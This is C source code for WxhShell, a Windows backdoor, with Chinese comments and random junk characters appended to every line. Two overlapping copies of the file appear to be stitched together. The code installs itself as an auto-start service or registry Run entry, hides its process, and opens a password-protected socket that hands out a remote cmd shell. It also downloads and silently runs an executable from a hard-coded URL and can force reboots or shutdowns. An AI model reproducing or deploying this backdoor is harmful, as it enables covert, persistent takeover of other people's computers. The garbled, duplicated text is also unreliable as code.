    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .R) D3NZp  
    if(Boot(SHUTDOWN)) KK1 gNC4R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bV(Y`g  
    else { ujDd1Bxf?  
    closesocket(wsh); C\S3Gs  
    ExitThread(0); _K`wG}YIE  
    } 4iqoR$3Fc  
    break; LIS)(X<]?  
    } 9%8"e>~  
  // 获取shell i'a?kSy  
  case 's': { cGtO +DE  
    CmdShell(wsh); ta35 K"  
    closesocket(wsh); DwaBdN[!7  
    ExitThread(0); OglEt["  
    break; n)L*  
  } X>d"]GD  
  // 退出 Q;[,Q~c[u  
  case 'x': { `e(c^z#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qOe+ZAJ{%N  
    CloseIt(wsh); VeGL)  
    break; aDq5C-MzG  
    } y[`l3;u:'  
  // 离开 _a5d?Q9Z  
  case 'q': { pf%=h |  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !g?|9  
    closesocket(wsh); *?Lv3}E  
    WSACleanup(); (*Z)(O*z  
    exit(1); hLI`If/+K  
    break; W}--p fG  
        } '= _/1F*q  
  } NiWa7/Hr  
  } ;'?l$ ._  
G,$PV e*  
  // 提示信息 z{[xze-f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W 0(_ ~  
} O*eby*%h  
  } | h`0u'#  
{HL3<2=o  
  return; ZRv*!n(Ug<  
} D!Q">6_"z  
;o^eC!:/%  
// shell模块句柄 }E+!91't.^  
int CmdShell(SOCKET sock) ;,$NAejgd  
{ O!zV)^r  
STARTUPINFO si; B\<Q ;RI2;  
ZeroMemory(&si,sizeof(si)); Ao&\EcIOT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G'rxXJq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3 ;)>Fs;  
PROCESS_INFORMATION ProcessInfo; :}yi -/_8!  
char cmdline[]="cmd"; @AK n@T5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JIOh#VNU  
  return 0; \,7f6:  
}  :l~ I  
<:(6EKJAq}  
// 自身启动模式 dA-2%uJ  
int StartFromService(void) nIAx2dh?  
{ 8yRJD[/S  
typedef struct r>dwDBE  
{ _9faBrzd  
  DWORD ExitStatus; f_wvZ&  
  DWORD PebBaseAddress; pwO>h>ik  
  DWORD AffinityMask; CEXyrs<  
  DWORD BasePriority; 3b*cU}go  
  ULONG UniqueProcessId; &Flglj~7l  
  ULONG InheritedFromUniqueProcessId; dI*pDDq#  
}   PROCESS_BASIC_INFORMATION; t2EHrji~  
-mC0+}h  
PROCNTQSIP NtQueryInformationProcess; w3#Wh|LQ-  
kUq=5Y `D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W!%]_I!&K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` BDLW%aL  
0n@rLF  
  HANDLE             hProcess; #%`|~%`{:  
  PROCESS_BASIC_INFORMATION pbi; aY3^C q(r  
1)9sf0LyU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j;']cWe  
  if(NULL == hInst ) return 0; 2]I4M[|&z  
$9 ]m=S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {SwQ[$k=_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @'YS1N<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P6E3-?4j  
bIGHGd  
  if (!NtQueryInformationProcess) return 0; d1T,eJ}  
4S,`bnmB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HqI t74+  
  if(!hProcess) return 0; %F\?R[^5  
O>SLOWgha  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WEFlV4/  
0="%Y ^N  
  CloseHandle(hProcess); &?VQ,+[ <  
tDSJpW'd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kpb#K[(]&  
if(hProcess==NULL) return 0; >GQEqXs  
L~_9_9c  
HMODULE hMod; Z&ZP"P4  
char procName[255]; W;_nK4$%'  
unsigned long cbNeeded; [OHxonU  
|\QgX%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rz (QC\(  
-9"['-WH,  
  CloseHandle(hProcess); 'I_Qb$  
0zo?eI  
if(strstr(procName,"services")) return 1; // 以服务启动 NxjB/N  
e&7JpT  
  return 0; // 注册表启动 /[O(ea$U  
} PH`9MXh  
="x\`+U  
// 主模块 =jSb'Vu|  
int StartWxhshell(LPSTR lpCmdLine) A~Y^VEn  
{ b}0,\B%  
  SOCKET wsl; OTMJ6)n7  
BOOL val=TRUE; _8"O$w  
  int port=0; 1v,Us5s<"6  
  struct sockaddr_in door; aD=a,  
S M!Txe#  
  if(wscfg.ws_autoins) Install(); f-}[_Y%;  
N*%@  
port=atoi(lpCmdLine); j]*j}%hz  
5Ycco,x  
if(port<=0) port=wscfg.ws_port; iOwx0GD.n  
n.wF&f'D]  
  WSADATA data; n,=VQ Ou  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m0LTx\w!  
Nndddk`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j*F`"df  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gT$Ju88  
  door.sin_family = AF_INET; <.pU,T/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eAX )^q  
  door.sin_port = htons(port); [P Q?#:r  
;FBUwR}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0|2%vh>J  
closesocket(wsl); $wmvKQc{lx  
return 1; bA= |_Wt  
} (:._"jp]  
0dhF&*h|L  
  if(listen(wsl,2) == INVALID_SOCKET) { n3}!p'-CC  
closesocket(wsl); Of{/t1o?  
return 1; KC(xb5x Y  
} NLS%Sq  
  Wxhshell(wsl); /3e KN  
  WSACleanup(); 8CnRi  
^dP KDrKxh  
return 0; *:>"q ej  
T?:glp[4I  
} ZN! 4;  
_u{c4U0,  
// 以NT服务方式启动 !O-C,uSm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P8^hBv*  
{ oo.!.Kv  
DWORD   status = 0; _cy2z  
  DWORD   specificError = 0xfffffff; ,Vh.T&X5  
A]YV s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \]P!.}nX#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _Dym{!t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A$#p%y b  
  serviceStatus.dwWin32ExitCode     = 0; 6fd+Q  /  
  serviceStatus.dwServiceSpecificExitCode = 0; Z-E`>  
  serviceStatus.dwCheckPoint       = 0; *GxTX3i}vc  
  serviceStatus.dwWaitHint       = 0; jov:]Bic  
}| J79s2M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @) s,{F  
  if (hServiceStatusHandle==0) return; F;=4vS]\  
"`M?R;DH  
status = GetLastError(); >tO`r.5u9  
  if (status!=NO_ERROR) RY c!~Wh~Y  
{ L,mQ   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PH?#)l D  
    serviceStatus.dwCheckPoint       = 0; Sp7ld7c  
    serviceStatus.dwWaitHint       = 0; +<xQM h8  
    serviceStatus.dwWin32ExitCode     = status; }Z{=|rVE  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ggl~nxz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BZud) l24  
    return; Y2d;E.DH8  
  } .q[SI$qO/  
'd+N Vj{C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S/Fkw4%  
  serviceStatus.dwCheckPoint       = 0; (>`5z(X  
  serviceStatus.dwWaitHint       = 0;  `)GrwfC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {]E+~%Va  
} e&>;*$)  
)K,F]fc+O  
// 处理NT服务事件,比如:启动、停止 3pK*~VK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L:_bg8eD#  
{ u:m]CPz  
switch(fdwControl) ogL EtqT  
{ cU{e`<xjA  
case SERVICE_CONTROL_STOP: 7<%<Ff@^)O  
  serviceStatus.dwWin32ExitCode = 0; U f|> (C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .C2TQ:B,.  
  serviceStatus.dwCheckPoint   = 0; kGd<5vCs  
  serviceStatus.dwWaitHint     = 0; iXj o[Rz^C  
  { krsYog(^z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M7ers|&{  
  } 0PU8 #2pR  
  return; ([-|}  
case SERVICE_CONTROL_PAUSE: Z^]|o<.<I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DyeQJ7p  
  break; @J5Jpt*IE  
case SERVICE_CONTROL_CONTINUE: uq, { tV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; = M]iIWQ@`  
  break; UB 6mqjPK  
case SERVICE_CONTROL_INTERROGATE: K'X2dG*  
  break; A5i:x$ww  
}; ~zSCg|"r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @+9<O0  
} -1ce<nN  
]u4Hk?j~<  
// 标准应用程序主函数 K_2|_MLlZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EL8NZ%:v:  
{ E<C&Cjz:H  
U Z|HJ8_  
// 获取操作系统版本 dbOdq  
OsIsNt=GetOsVer(); FXzFHU/dP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :6zG7qES3  
H ,+? t  
  // 从命令行安装 xdf82)  
  if(strpbrk(lpCmdLine,"iI")) Install(); NzU,va N  
qf=1?=l291  
  // 下载执行文件 O~59FuL  
if(wscfg.ws_downexe) { ,Z{d.[$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ma8_:7`>O  
  WinExec(wscfg.ws_filenam,SW_HIDE); rg{9UVj  
}  ?p(/_@  
5v?;PX  
if(!OsIsNt) { ynw5-aS3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;=<-5;rI  
HideProc(); [8Qro8  
StartWxhshell(lpCmdLine); TQ{Han!  
} }|5 V RJA  
else -T&.kYqnb$  
  if(StartFromService()) e.@uhB.  
  // 以服务方式启动 =egW  
  StartServiceCtrlDispatcher(DispatchTable); 8}fu,$$5  
else 05snuNt]-  
  // 普通方式启动 iJZ/jCI  
  StartWxhshell(lpCmdLine); +V{7")px6  
8E4mA5@   
return 0; "=6v&G]U4  
} E\IlF 6  
!'j?.F $}  
K-f1{ 0  
+,yK;^b  
=========================================== zoDH` h_  
yuDZ~0]R  
TYlbU<  
ZR$'u%+g'  
Yr w$  
?W0)nQU  
" ^':!1  
>IX/< {);M  
#include <stdio.h> )r[&RGz6  
#include <string.h> hSK;V<$[Z  
#include <windows.h> ,oNOC3 U  
#include <winsock2.h> M)+$wp  
#include <winsvc.h> e]T`ot#/  
#include <urlmon.h> C=s1R;"H  
!A>z(eIsv`  
#pragma comment (lib, "Ws2_32.lib") ?UK|>9y}Z  
#pragma comment (lib, "urlmon.lib") 7C$ 5  
cZ(elZ0~  
#define MAX_USER   100 // 最大客户端连接数 0b/WpP  
#define BUF_SOCK   200 // sock buffer "H&"(=  
#define KEY_BUFF   255 // 输入 buffer j:}DBk  
H-3Eo#b#  
#define REBOOT     0   // 重启 wtT}V=_  
#define SHUTDOWN   1   // 关机 LY[~Os W  
f+|$&p%  
#define DEF_PORT   5000 // 监听端口 quvanx V-L  
!q-f9E4`  
#define REG_LEN     16   // 注册表键长度 &AlJ "N|  
#define SVC_LEN     80   // NT服务名长度 ?7 M.o  
*loOiM\5a  
// 从dll定义API -F=v6N{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6<'rG''  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "Tm[t?FMbe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,^gyH \  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R|f~>JUF  
qim 'dp:  
// wxhshell配置信息 7T"XPV|W6  
struct WSCFG { rU;RGz6}  
  int ws_port;         // 监听端口 r1<F  
  char ws_passstr[REG_LEN]; // 口令 y$3;$ R^  
  int ws_autoins;       // 安装标记, 1=yes 0=no $5v0m#[^  
  char ws_regname[REG_LEN]; // 注册表键名 dJv!Dts')C  
  char ws_svcname[REG_LEN]; // 服务名 'S2bp4G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K"u NxZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ->h6j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A].>.AI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no })w*m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7HVZZ!>~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kGL1!=>  
l^d[EL+  
}; +4\U)Z/\  
'kYwz;gp  
// default Wxhshell configuration .i^7|o:  
struct WSCFG wscfg={DEF_PORT, X*Z8CM_  
    "xuhuanlingzhe", K_ lVISBQ  
    1, /B5-Fx7j3  
    "Wxhshell", Hg9CZM ko  
    "Wxhshell", _BFOc>0  
            "WxhShell Service", Dw7vv]+ S  
    "Wrsky Windows CmdShell Service", yQ3OL#  
    "Please Input Your Password: ", &QG6!`fK}3  
  1, lpRR&  
  "http://www.wrsky.com/wxhshell.exe", f30Pi1/h=c  
  "Wxhshell.exe" 6YuY|JD  
    }; l<Q>N|1#k%  
|ou b!fG4  
// 消息定义模块 d*oUfiW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DI`%zLDcY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NxVw!TsR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j F-v% ?  
char *msg_ws_ext="\n\rExit."; hk/! 'd  
char *msg_ws_end="\n\rQuit."; 1xU3#b&2tC  
char *msg_ws_boot="\n\rReboot..."; 6{ ,HiY  
char *msg_ws_poff="\n\rShutdown..."; En&5)c+js4  
char *msg_ws_down="\n\rSave to "; k'$!(*]\b  
vA)O {W\o  
char *msg_ws_err="\n\rErr!"; k8,?hX:  
char *msg_ws_ok="\n\rOK!"; s/:Fwr4q#a  
p'sc0@}_O  
char ExeFile[MAX_PATH]; 8 4i_k  
int nUser = 0; 3+J0!FVla  
HANDLE handles[MAX_USER]; v|ox!0:#  
int OsIsNt; w'X]M#Q><  
oo=#XZkk  
SERVICE_STATUS       serviceStatus; *_ +7ni  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gn)y> AN  
=&!HwOnp  
// 函数声明 tA$)cg+.  
int Install(void); ~^ ^ NHq  
int Uninstall(void); .)|a2d ~F  
int DownloadFile(char *sURL, SOCKET wsh); `VQb-V  
int Boot(int flag); |0{u->+ )  
void HideProc(void); jKZt~I  
int GetOsVer(void); Y F:2>w<  
int Wxhshell(SOCKET wsl); "xAWG$b  
void TalkWithClient(void *cs); :K?0e `  
int CmdShell(SOCKET sock); Z?J:$of*  
int StartFromService(void); y fSM  
int StartWxhshell(LPSTR lpCmdLine); WZ!WxX>zO  
0t#g }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]O{u tm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "+?Cz !i   
fWF |,A>>b  
// 数据结构和表定义 ^). )  
SERVICE_TABLE_ENTRY DispatchTable[] = g\GdkiIj  
{ H0a/(4/xg  
{wscfg.ws_svcname, NTServiceMain}, CzV(cSS9-  
{NULL, NULL} {F N;'Uc  
}; J ti(b*~  
:Vg}V"QR  
// 自我安装 =2y8 CgLj  
int Install(void) 0W`LVue  
{ ;Qi }{;+  
  char svExeFile[MAX_PATH]; ?zq+jLyo  
  HKEY key; <DH*~tLp2  
  strcpy(svExeFile,ExeFile); i`)!X:j  
tvX>{-M  
// 如果是win9x系统,修改注册表设为自启动 Fv?=Z-wk  
if(!OsIsNt) { j%<}jw[2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6AN)vs}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # x>ga  
  RegCloseKey(key); Rq~t4sA:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xx*2?i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &X`u9 V  
  RegCloseKey(key); 5j"1z1_&  
  return 0; 6@tvRDeaDW  
    } Ni*Wz*o  
  } . BO<  
} 4c~>ci,N?(  
else { Bn]K+h\E  
7:h!Wj -a]  
// 如果是NT以上系统,安装为系统服务 <-UOISyf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J NC  
if (schSCManager!=0) n,P5o_^:  
{ iy\KzoB  
  SC_HANDLE schService = CreateService  17hTr  
  ( d~ng6pA  
  schSCManager, nY `2uN~9  
  wscfg.ws_svcname, g"Q h]:  
  wscfg.ws_svcdisp, 5;)*T6Y  
  SERVICE_ALL_ACCESS, %'L;FPxB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AF4?IH  
  SERVICE_AUTO_START, =A[5= k>  
  SERVICE_ERROR_NORMAL, tPHS98y  
  svExeFile, 1'6cGpZY  
  NULL, +c206.  
  NULL, 6S?x D5 (  
  NULL, Bk|K%K  
  NULL, TTI81:fku  
  NULL `PI(%N  
  ); i}TwOy<4s  
  if (schService!=0) daZQz"PP  
  { 3Rl,GWK  
  CloseServiceHandle(schService); ned2lC&'d>  
  CloseServiceHandle(schSCManager); 5 HV)[us  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,:v&4x&=  
  strcat(svExeFile,wscfg.ws_svcname);  eIPG#A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~@I@}n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p4X{"Z\mn  
  RegCloseKey(key); =G-N` 39  
  return 0; 6k])KlJ2;  
    } }4%/pOi:f  
  }  W^g[L:s  
  CloseServiceHandle(schSCManager); w,.qCpT$_  
} !UV5zmS  
} N:+ taz-  
fW0$s`  
return 1; wpPn}[a  
} 83 ]PA<R  
'bW5Fr>W  
// 自我卸载 ]]iO- }  
int Uninstall(void) qFR dg V>8  
{ 96|[}:+$&:  
  HKEY key; >cOei K  
j033%p+Xc  
if(!OsIsNt) { p{;i& HNdp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {   &LQ%  
  RegDeleteValue(key,wscfg.ws_regname); >kYp%r6  
  RegCloseKey(key); G`]w?Di4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aSaAC7sFk  
  RegDeleteValue(key,wscfg.ws_regname); u@ N~1@RT|  
  RegCloseKey(key); ?;7b*Z  
  return 0; iL?iz?+.%@  
  } L&w.j0fq  
} yFIIX=NC  
} @YL}km&Fw  
else { p6 xPheD  
v"1Po_`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =fG:A(v%}  
if (schSCManager!=0) J=WB6zi  
{ setL dEi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o<VP'F{p  
  if (schService!=0) h_ ! >yK  
  { Q .RO  
  if(DeleteService(schService)!=0) { jMpa?Jp1  
  CloseServiceHandle(schService); #1Z7&#R/  
  CloseServiceHandle(schSCManager); -l*A  
  return 0; `<vxG4=62\  
  } we]>(|  
  CloseServiceHandle(schService); o42`z>~  
  } Pern*x9$  
  CloseServiceHandle(schSCManager); {7#03k  
} WfVMdwz=  
} K; kM_%9u  
T)\NkM&  
return 1; `1'5j "v  
} 9&jPp4qG  
^Vo"fI`=C  
// 从指定url下载文件 g6' !v  
int DownloadFile(char *sURL, SOCKET wsh) IcoowZZ   
{ 70iH0j)  
  HRESULT hr; E 5kF^P  
char seps[]= "/"; PW[6/7  
char *token; ju{%'D!d9  
char *file; RV!<?[  
char myURL[MAX_PATH]; T_ ^C#>  
char myFILE[MAX_PATH]; R^{xwI  
cC6z,0`3  
strcpy(myURL,sURL); }:#dV B+  
  token=strtok(myURL,seps); 0\ f-z6  
  while(token!=NULL) ~iTxv_\=6u  
  { 6Y?`=kAp  
    file=token;  5H.Db  
  token=strtok(NULL,seps); %x2b0L\g  
  } )/%S=c  
:('I)C  
GetCurrentDirectory(MAX_PATH,myFILE); GXeAe}T  
strcat(myFILE, "\\"); HF4Lqh'oco  
strcat(myFILE, file); s-6:N9-  
  send(wsh,myFILE,strlen(myFILE),0); jH0Bo;  
send(wsh,"...",3,0); {8m1dEC^@Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _Y#Bm/*  
  if(hr==S_OK) {%7<"  
return 0; !J# .!}3  
else /2w@ K_Px6  
return 1; qX@9N=g`#O  
~gt3Omh  
} +qE']yzm!  
Bcaw~WD  
// 系统电源模块 IK?]PmN4}  
int Boot(int flag) plku-O;]  
{ dQ6GhS ~  
  HANDLE hToken; Mo|yv[(K ,  
  TOKEN_PRIVILEGES tkp; jsWX 6(=  
YN^jm  
  if(OsIsNt) { oFyeH )!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J#@lV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zPBfiK_hV  
    tkp.PrivilegeCount = 1; Xiju"Cup"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gb_X?j%p7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ADBpX>  
if(flag==REBOOT) {  coAW9=o}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eBvW#Hzp  
  return 0; kH2oK:lN  
} }xJR.]).KW  
else { C1ZyB"{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o*;2mFP  
  return 0; nP u`;no  
} +2yF|/WW#  
  } "WP% REE!  
  else { QK7e|M  
if(flag==REBOOT) { \_>?V5(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7vNtv9  
  return 0; @\$Keg=>:  
} `,m7xJZ?y  
else { E0jUewG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;+9(;  
  return 0; EE9vk*[@C  
} 3{q[q#"  
} LaT8l?q q  
v>:=w|.HC  
return 1; [a+4gy  
} ^Fvr f`A'  
T^NJ4L4#  
// win9x进程隐藏模块 o'^phlX  
void HideProc(void) Z"N(=B  
{ kxy]vH6m  
qOgtGN}k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bQV("~#  
  if ( hKernel != NULL )  2$)mC9  
  { 1gk0l'.z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v,*Q]r0m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u#!GMZJN  
    FreeLibrary(hKernel); ' 3VqkQ4  
  } PC0HH  
O(Td:Zdp  
return; '2xcce#  
} ?q6Z's[  
8E 9{ Gf  
// 获取操作系统版本 ?"u'#f_  
int GetOsVer(void) )O -cw7 >  
{ 26}u4W$  
  OSVERSIONINFO winfo; uDI}R]8~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .xo_}Vw  
  GetVersionEx(&winfo); 59~FpjJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r hZQQOQ  
  return 1; c-`37. J  
  else r8F{A6iN  
  return 0; h-,?a_  
} *@~`d*d  
Seg#s.  
// 客户端句柄模块 k!9=  
int Wxhshell(SOCKET wsl) " Ac~2<V  
{ ;9vIa7L&  
  SOCKET wsh; qkiJ HT  
  struct sockaddr_in client; 6."PS4}:  
  DWORD myID; EqoASu  
g@}6N.]#  
  while(nUser<MAX_USER) _ Q{T';  
{ -Sp/fjlq/  
  int nSize=sizeof(client); C|9[Al  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =!YP$hfY  
  if(wsh==INVALID_SOCKET) return 1; pOX$4$VR<  
eL_^: -   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jxf}b}^T  
if(handles[nUser]==0) )FV6,  
  closesocket(wsh); 1O23"o5=  
else s9G)Bd 8  
  nUser++; oFb\T iLu  
  } &b!vWX1N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *^ey]),f54  
gUu&Vy\  
  return 0; =#b4c>  
} QYH."7X >  
!2#\| NJk  
// 关闭 socket ~ t"n%SgY  
void CloseIt(SOCKET wsh) 4p?+LdL  
{ ,T/GW,?  
closesocket(wsh); &+,:u*%  
nUser--; P:>'   
ExitThread(0); iF8@9m  
} #gF2(iK6  
^uM_b  
// 客户端请求句柄 BB0g}6M  
void TalkWithClient(void *cs) k"5`:qL  
{ \ hrBq^I  
I7A7X*  
  SOCKET wsh=(SOCKET)cs; u/;_?zI  
  char pwd[SVC_LEN]; cl@kRX<7'  
  char cmd[KEY_BUFF]; FoQ?U=er  
char chr[1]; 4v0dd p  
int i,j; KUlB2Fqi  
"OVi /:*B  
  while (nUser < MAX_USER) { 0 -!?W  
`S5>0r5[  
if(wscfg.ws_passstr) { g%+ql[(4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,eyp$^2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4P`PmQ=GQh  
  //ZeroMemory(pwd,KEY_BUFF); 8I<_w4fC  
      i=0; >).@Nb;e  
  while(i<SVC_LEN) { $^] 9  
VtD@&N  
  // 设置超时 D7EXqo  
  fd_set FdRead; K<RmaXZ  
  struct timeval TimeOut; 0BT;"B1  
  FD_ZERO(&FdRead); )o86lH"z  
  FD_SET(wsh,&FdRead); P_kaIPP  
  TimeOut.tv_sec=8; f%vHx,  
  TimeOut.tv_usec=0; =_K%$y*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IES41y<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8y-e+  
*iPs4Es-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,:c :6Y^  
  pwd=chr[0]; gkSGRshf  
  if(chr[0]==0xd || chr[0]==0xa) { LQ~LB'L  
  pwd=0; 9cl{hdP{  
  break; Z@<q/2).|  
  } }m9S(Wal  
  i++; [t {vYo  
    } _e;N'DZ  
|*lH9lWJ  
  // 如果是非法用户,关闭 socket ]lymY _ >  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >oVc5}  
} zC<'fT/rG  
7^n,Ti g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &*X3c h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (PRaiE  
z\X60T  
while(1) { H?rSP0.  
cZPbD;e:  
  ZeroMemory(cmd,KEY_BUFF); cjCE3V9X  
Q,OkO?uY  
      // 自动支持客户端 telnet标准   ztRWIkI q  
  j=0; rd|@*^k  
  while(j<KEY_BUFF) { %{N>c:2I$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rh!L'? C  
  cmd[j]=chr[0]; emGV]A%nss  
  if(chr[0]==0xa || chr[0]==0xd) { ; :v]NZtc  
  cmd[j]=0; Q,[rrG;?@  
  break; oc!biE`u  
  } #N<s^KYG-  
  j++; }T?i%l  
    } z4 4  
h<PYE]?l  
  // 下载文件 *O2^{ C  
  if(strstr(cmd,"http://")) { Se!gs>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (1QdZD|  
  if(DownloadFile(cmd,wsh)) c.|sW2/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Uj68Jl?  
  else dM);LT8@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0S)"Q^6n y  
  } eyI-s9#t  
